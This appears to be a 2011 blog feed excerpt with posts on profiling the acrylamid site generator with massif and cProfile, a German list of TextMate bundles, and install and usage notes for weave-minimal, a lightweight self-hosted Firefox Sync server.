<span class="gp">$</span>> ms_print massif.out.1928 > out.txt
</pre></div>
<p>The latter produces a heap profile written to out.txt. <span class="caps"><abbr title="K-Desktop Environment; Kolorful Diskfilling Environment">KDE</abbr></span>/Linux seems to have
a visualizer, <a href="http://kcachegrind.sourceforge.net/html/Home.htmls">KCacheGrind</a>, but <span class="caps">OS</span> X don’t. But there might be an
application which claims to run on <span class="caps">OS</span> X as well: <a href="http://kde-apps.org/content/show.php?content=122409">Massif Visualizer</a>.</p>
<div class="highlight"><pre>--------------------------------------------------------------------------------
Command: python ../acrylamid/bin/acrylamid gen
Massif arguments: (none)
ms_print arguments: massif.out.1928
--------------------------------------------------------------------------------
MB
38.53^ :
| # :
| @#::
| @ @ ::@@@@#:: ::@:
| @: @ : :::@@@@#::::::@::::::@:
| @@:::::@:::@::@@::@::@@::::::@@@@#::::::@::::::@:
| ::::::@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
| @ :: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
| @:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
| :::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
| :::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
| @:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
| @:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
| @:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
| :@:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
| :@:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
| :@:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
| :@:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
| :@:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
| :@:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
0 +----------------------------------------------------------------------->Gi
0 40.63
Number of snapshots: 86
Detailed snapshots: [2, 6, 8, 16, 23, 29, 33, 36, 39, 42, 48, 49, 50, 51, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63 (peak), 73, 83]
</pre></div>
<h3><span class="caps">CPU</span> Time</h3>
<p>To complete this overview article, here are the parameters to measure <span class="caps">CPU</span> usage
from an earlier version of acrylamid (doing nothing):</p>
<div class="highlight"><pre>$> acrylamid --version
0.1.11-dev
$> python -m cProfile -s cumulative ../bin/acrylamid gen | less
392661 function calls (382947 primitive calls) in 0.684 seconds
Ordered by: cumulative time
ncalls tottime percall cumtime percall filename:lineno(function)
1 0.000 0.000 0.685 0.685 acrylamid:7(<module>)
1 0.000 0.000 0.648 0.648 __init__.py:44(__init__)
1 0.001 0.001 0.647 0.647 __init__.py:177(run)
1 0.000 0.000 0.559 0.559 __init__.py:135(initialize)
1 0.000 0.000 0.514 0.514 __init__.py:35(initialize)
8 0.000 0.000 0.277 0.035 __init__.py:19(index_filters)
1 0.000 0.000 0.270 0.270 hyphenation.py:191(__init__)
1 0.000 0.000 0.270 0.270 hyphenation.py:150(build)
1 0.010 0.010 0.269 0.269 hyphenation.py:34(__init__)
14263 0.130 0.000 0.257 0.000 hyphenation.py:45(_insert_pattern)
25/23 0.004 0.000 0.244 0.011 {__import__}
28848 0.031 0.000 0.201 0.000 re.py:228(_compile)
1 0.003 0.003 0.191 0.191 rst.py:7(<module>)
248 0.000 0.000 0.161 0.001 re.py:188(compile)
174 0.001 0.000 0.161 0.001 sre_compile.py:495(compile)
5 0.001 0.000 0.156 0.031 __init__.py:10(<module>)
1 0.002 0.002 0.096 0.096 __init__.py:68(<module>)
1 0.003 0.003 0.090 0.090 states.py:101(<module>)
174 0.000 0.000 0.085 0.000 sre_compile.py:480(_code)
</pre></div>
<p>With some optimization acrylamid 0.2.1 is now about 4 times faster (685ms
versus 140ms), just by lazy evaluate hyphenation patterns and docutils import.
You can also pass ncalls, tottime, percall and so on instead of cumtime,
see python’s <a href="http://docs.python.org/library/profile.html#pstats.Stats.sort_stats">profile</a> for all sort keys.</p>
<div class="highlight"><pre>$> acrylamid --version
0.2.1
$> python -m cProfile -s cumulative ../bin/acrylamid gen | less
81785 function calls (78036 primitive calls) in 0.140 seconds
Ordered by: cumulative time
ncalls tottime percall cumtime percall filename:lineno(function)
1 0.000 0.000 0.141 0.141 acrylamid:7(<module>)
1 0.000 0.000 0.103 0.103 __init__.py:45(__init__)
1 0.000 0.000 0.101 0.101 __init__.py:197(run)
1 0.000 0.000 0.098 0.098 __init__.py:143(initialize)
1 0.000 0.000 0.051 0.051 __init__.py:36(initialize)
17 0.003 0.000 0.051 0.003 {__import__}
1 0.000 0.000 0.046 0.046 __init__.py:38(initialize)
5 0.000 0.000 0.045 0.009 __init__.py:22(index_views)
5 0.000 0.000 0.043 0.009 environment.py:763(from_string)
5 0.000 0.000 0.043 0.009 environment.py:453(compile)
1 0.003 0.003 0.038 0.038 __init__.py:20(<module>)
73 0.000 0.000 0.035 0.000 re.py:188(compile)
73 0.001 0.000 0.035 0.000 re.py:228(_compile)
67 0.000 0.000 0.034 0.001 sre_compile.py:495(compile)
1 0.001 0.001 0.023 0.023 __init__.py:28(<module>)
5 0.000 0.000 0.023 0.005 environment.py:396(_parse)
1 0.000 0.000 0.022 0.022 md.py:7(<module>)
1 0.001 0.001 0.021 0.021 __init__.py:31(<module>)
1 0.002 0.002 0.021 0.021 hyphenation.py:4(<module>)
</pre></div>TextMatetag:blog.posativ.org,2011-12-18:/2011/textmate2011-12-18T18:02:00Zposativhttp://blog.posativ.org/info@posativ.org<p>Bevor ich so langsam zum <a href="http://www.sublimetext.com/2">Sublime Text</a> Editor wechseln werde (es sei denn,
<a href="http://net.tutsplus.com/tutorials/tools-and-tips/essential-textmate-shortcuts-tips-and-techniques/">Version 2</a> bringt es), noch einmal kurz meine Lieblings-Bundles, sprich
Macros, Themes und Snippets.</p>
<ul>
<li><a href="http://net.tutsplus.com/tutorials/tools-and-tips/essential-textmate-shortcuts-tips-and-techniques/">Essential TextMate Shortcuts, Tips and Techniques</a></li>
<li><a href="http://ethanschoonover.com/solarized">Solarized (light) Theme</a> – the one and only one. Gibt nichts besseres.</li>
</ul>
<h3>Bundles</h3>
<ul>
<li><a href="https://github.com/foxostro/x86-assembly-textmate-bundle/tree/master/x86%20Assembly.tmbundle/">x86 Assembler</a>
– Intel86 Syntax Highlighting!1</li>
<li><a href="https://github.com/textmate/lilypond.tmbundle">lilypond</a></li>
<li><a href="http://www.governatori.net/TextMate/index.html">LaTeXExtension</a> – mit $O[Ausrufezeichen]$ -> $\Omega$ und so</li>
<li><a href="https://github.com/textmate/restructuredtext.tmbundle">reStructuredText</a></li>
<li><a href="https://github.com/seaofclouds/sass-textmate-bundle"><span class="caps">SASS</span></a></li>
<li><a href="https://github.com/mitsuhiko/jinja2/blob/master/ext/JinjaTemplates.tmbundle.tar.gz">Jinja2 Templating</a></li>
<li><a href="https://github.com/ppierre/python-pep8-tmbundle">Python <span class="caps">PEP</span> 8</a></li>
<li><a href="https://github.com/dcramer/python-tools-tmbundle">Python Tools</a> – ⌘+S mit Syntax Validierung</li>
</ul>
<p>Installiert wird das alles nach <code>~/Library/Application Support/TextMate/</code>.</p>weave-minimal – a Firefox Sync full-server forktag:blog.posativ.org,2011-12-18:/2011/weave-minimal-a-firefox-sync-full-server-fork2011-12-18T17:35:00Zposativhttp://blog.posativ.org/info@posativ.org<p>The first time I tried to get a custom Firefox Sync server running, I used
<a href="https://hg.mozilla.org/services/server-full/"><code>server-full</code></a> and even though
I know python (the server is written in python), the configuration was highly
difficult. There’s no click <span class="amp">&</span> install. You have to choose between Redis,
MySQL, PostgreSQL and Sqlite3. For most people, sqlite3 is quite fine. Sqlite
and sync-server config files have summed up almost 80 LoC. And you still don’t
know how to authenticate unless you have already a <span class="caps">LDAP</span> server running.</p>
<p>There are some alternatives:
<a href="https://github.com/tolumak/ffpyweave">ffpyweave</a>, <a href="https://github.com/jedie/django-sync-server/">django sync
server</a> and formerly
<a href="http://ymartin59.free.fr/wordpress/index.php/2011/03/05/my-own-firefox-sync-weave-server/">weave-minimal</a>
too, written in <span class="caps">PHP</span> but not supported anymore. But I’ve forked the official
<a href="https://hg.mozilla.org/services/server-full/"><code>server-full</code></a> (well I
completely rewrote) to a more easier installation without multiple backends
but completely relying on a simple sqlite database.</p>
<h3>Requirements</h3>
<ul>
<li>a web server with proxy or FastCGI/<span class="caps"><abbr title="Web Server Gateway Interface">WSGI</abbr></span> support</li>
<li>python runtime (>= 2.5)</li>
<li>shell access</li>
</ul>
<h3>Installation</h3>
<div class="highlight"><pre><span class="nv">$ </span>easy_install -U werkzeug
</pre></div>
<p> </p>
<div class="highlight"><pre><span class="nv">$ </span>wget https://github.com/posativ/weave-minimal/tarball/master -O weave-minimal.tar.gz
<span class="nv">$ </span>tar xfz weave-minimal.tar.gz
<span class="nv">$ </span><span class="nb">cd </span>posativ-weave-minimal
</pre></div>
<h3>Usage</h3>
<p>Currently, Firefox does not you create a user account on your own server.
I <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=708256">filed a bug</a> in a week ago. Therefore you need to set up every account manually:</p>
<div class="highlight"><pre><span class="nv">$ </span>./weave.py --register myname:mypassword
<span class="o">[</span>info<span class="o">]</span> database <span class="k">for</span> <span class="sb">`</span>myname<span class="sb">`</span> created at <span class="sb">`</span>.data/myname.91dfd9ddb4198aff<span class="sb">`</span>
<span class="nv">$ </span>./weave.py -p 8080
</pre></div>
<p><em>Please note that only alpha-numerical characters are allowed!</em></p>
<p>The last command launches weave.py on port 8080. You can now configure mod_proxy
in your webserver of choice or you some mod_fastcgi magic. See <a href="https://github.com/posativ/weave-minimal"><span class="caps">README</span>.md</a>
for an example configuration.</p>
<p>For the Firefox Sync Setup see in <a href="https://github.com/posativ/weave-minimal"><span class="caps">README</span>.md</a>, too.</p>
<h3>Hints</h3>
<ul>
<li>using an <span class="caps">SSL</span>-encrypted server is recommended but not required</li>
<li>Firefox never transmits browser data unencrypted, just your username/password
are sent base64-encoded over the air (<span class="caps">HTTP</span> Basic Authentication).</li>
<li>you can have multiple user per weave-minimal instance</li>
<li>the user password is stored <span class="caps">SHA1</span>-hashed (first 16 characters) into the
database filename <code>name.91dfd9ddb4198aff</code>.</li>
<li>in case your web server sucks and does not send <code>HTTP_X_SCRIPT_NAME</code>, start
<code>weave.py</code> with <code>--prefix=/url/prefix</code>.</li>
</ul>